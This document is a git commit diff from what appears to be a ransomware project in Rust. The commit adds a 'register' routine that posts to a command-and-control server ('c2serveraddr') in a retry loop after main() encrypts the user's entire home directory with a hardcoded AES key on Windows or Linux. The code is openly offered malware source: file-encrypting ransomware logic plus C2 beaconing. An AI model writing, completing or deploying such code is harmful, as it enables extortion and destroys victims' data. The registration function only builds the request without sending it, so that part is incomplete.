feat: add client registration to C2 server

This commit is contained in:
Xory 2024-06-23 23:30:04 +03:00
parent 9a0a025550
commit 55c0831579
2 changed files with 24 additions and 5 deletions

View file

@ -12,13 +12,15 @@ use std::fs::File;
use std::fs; use std::fs;
use std::io::{Read, Write}; use std::io::{Read, Write};
use std::error::Error; use std::error::Error;
use std::str; use std::str::{self, FromStr};
use reqwest::blocking::Request;
type Aes256Cbc = Cbc<Aes256, Pkcs7>; type Aes256Cbc = Cbc<Aes256, Pkcs7>;
const KEY: &[u8] = b"keyhereshouldbereplacedbybuilder"; const KEY: &[u8] = b"keyhereshouldbereplacedbybuilder";
const IV: &[u8] = b"unique_initializ"; // IV should be 16 bytes const IV: &[u8] = b"unique_initializ"; // IV should be 16 bytesA
const C2ADDR: &str = "c2serveraddr";
fn encrypt_file(input_path: &str, output_path: &str) -> Result<(), Box<dyn Error>> { fn encrypt_file(input_path: &str, output_path: &str) -> Result<(), Box<dyn Error>> {
@ -96,4 +98,8 @@ pub fn decrypt_directory(directory_path: &str) -> Result<(), Box<dyn Error>> {
Ok(()) Ok(())
} }
pub fn register() -> Result<(), Box<dyn Error>> {
let c2_register_url = format!("http://{C2ADDR}/client/register");
let _register_reqwest = Request::new(reqwest::Method::POST, reqwest::Url::from_str(&c2_register_url)?);
Ok(())
}

View file

@ -1,6 +1,9 @@
mod crypto; mod crypto;
use crypto::encrypt_directory; use crypto::encrypt_directory;
use crypto::register;
use std::env; use std::env;
use std::thread::sleep;
use std::time::Duration;
fn main() { fn main() {
#[cfg(target_os = "windows")] #[cfg(target_os = "windows")]
@ -8,6 +11,16 @@ fn main() {
#[cfg(target_os = "linux")] #[cfg(target_os = "linux")]
let home: String = env::var("HOME").unwrap(); let home: String = env::var("HOME").unwrap();
encrypt_directory(&home).unwrap(); // I know this many unwraps look encrypt_directory(&home).unwrap(); // I know this many unwraps look
// suspicious, but the chance of this // suspicious, but the chance of this
// failing is less than a solar flare. // failing is less than a solar flare.
loop {
let registration_attempt = register();
if registration_attempt.is_ok() {
break;
} else {
sleep(Duration::from_secs(5));
}
}
} }